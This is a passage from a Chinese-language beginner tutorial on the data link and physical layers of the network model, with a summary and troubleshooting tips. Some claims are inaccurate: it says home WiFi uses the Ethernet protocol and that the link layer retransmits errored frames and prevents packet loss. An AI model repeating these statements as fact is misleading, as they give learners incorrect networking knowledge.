数据链路层（局域网层，负责“同城送货”）网络层确定了跨网络的路线后，数据链路层的任务就是“在同一局域网内，把数据从一台设备传到另一台设备”。它就像同城快递员，负责最后一公里的配送，确保数据在局域网内准确送达，不丢包、不错包。数据链路层的核心功能和协议：数据帧封装：把网络层传下来的IP数据包，加上帧头（包含源MAC地址、目标MAC地址）和帧尾（校验码），变成“数据帧”——就像给包裹套上一个同城配送的快递袋，写上收发地址。MAC地址：设备的“硬件身份证”，由网卡厂商烧录在网卡上，全球唯一（比如00:1C:42:18:60:E0）。在同一局域网内，数据链路层靠MAC地址识别设备，就像同城快递靠门牌号找人。错误检测与纠正：通过帧尾的校验码，检测数据在传输过程中是否出错（比如受到电磁干扰导致比特翻转），如果出错，会要求重传。常见协议：Ethernet（以太网），咱们家里的WiFi、办公室的网线，用的都是以太网协议；还有PPP协议（点对点协议，比如拨号上网）、HDLC协议（广域网常用）。数据链路层的核心设备是交换机，它会学习局域网内所有设备的MAC地址，然后根据MAC地址精准转发数据帧——比如电脑A要给电脑B发数据，交换机知道电脑B的MAC地址对应的端口，直接把数据帧发到那个端口，不会像集线器那样广播给所有设备，效率更高。第1层 物理层（最底层，负责“物理传输”）数据链路层把数据帧交下来后，物理层的任务就是“把数据帧转换成电信号、光信号或电磁波，通过物理介质传出去”。它是整个协议栈的“基石”，不管数据内容是什么，只负责比特流（0和1）的物理传输，关心的是电压、电流、频率、传输介质这些硬件层面的东西。物理层的核心要素：传输介质：就是数据传输的“通道”，常见的有双绞线（咱们平时用的网线，比如Cat5e、Cat6）、同轴电缆（早期有线电视用的那种）、光纤（速度快、抗干扰，用于远距离传输）、电磁波（WiFi、4G/5G、蓝牙，无线传输）。物理设备：网卡（电脑/手机的网络接口，负责把数据转换成电信号）、集线器（最基础的网络设备，只是简单转发电信号，不分地址，现在基本淘汰）、交换机（数据链路层设备，但依赖物理层传输）、路由器（网络层设备，同样依赖物理层）、调制解调器（猫，把数字信号转换成模拟信号，用于宽带上网）。物理特性：比如双绞线的引脚定义、光纤的波长、WiFi的频段（2.4GHz和5GHz）、电信号的电压（比如高电平代表1，低电平代表0）。物理层出问题的话，网络直接连不上——比如网线断了、网卡坏了、WiFi信号太弱，这些都是物理层的问题，排查的时候先看硬件和传输介质。小结应用层：用户用的App（浏览器、微信）和网络的接口，管“要干什么”，靠HTTP、DNS这些协议干活；传输层：管“App之间靠谱传数据”，TCP靠谱（付款、网页），UDP快速（游戏、直播），靠端口号区分App；网络层：管“跨网络找路线”，靠IP地址定位设备，ICMP报错，路由器指路；数据链路层：管“局域网内送货”，靠MAC地址识别设备，交换机转发，确保同城数据不丢包；物理层：管“物理传输”，把数据变成电信号/光信号，靠网线、WiFi、网卡这些硬件干活。分层的好处为什么要分五层？核心就是“各司其职、方便维护”——比如家里上网连不上，先看网线插没插好（物理层），再看WiFi能不能连上（数据链路层），然后ping一下网关（网络层），最后看网页能不能打开（应用层），一层一层排查，不用瞎忙活。而且一层的技术升级，不影响其他层，比如物理层从网线换成光纤，应用层的HTTP协议不用变。常见问题排查思路网页打不开：先ping网址（比如ping www.baidu.com），如果ping不通，可能是DNS解析失败（应用层）或路由问题（网络层）；如果ping通了但网页打不开，可能是HTTP协议问题（应用层）或443端口被屏蔽（传输层）。打游戏延迟高：大概率是UDP协议丢包（传输层），或者网络路由拥堵（网络层），可以换个WiFi、连网线试试（物理层）。局域网内设备连不上：比如电脑连不上打印机，可能是MAC地址绑定问题（数据链路层），或者打印机的IP地址配置错了（网络层）。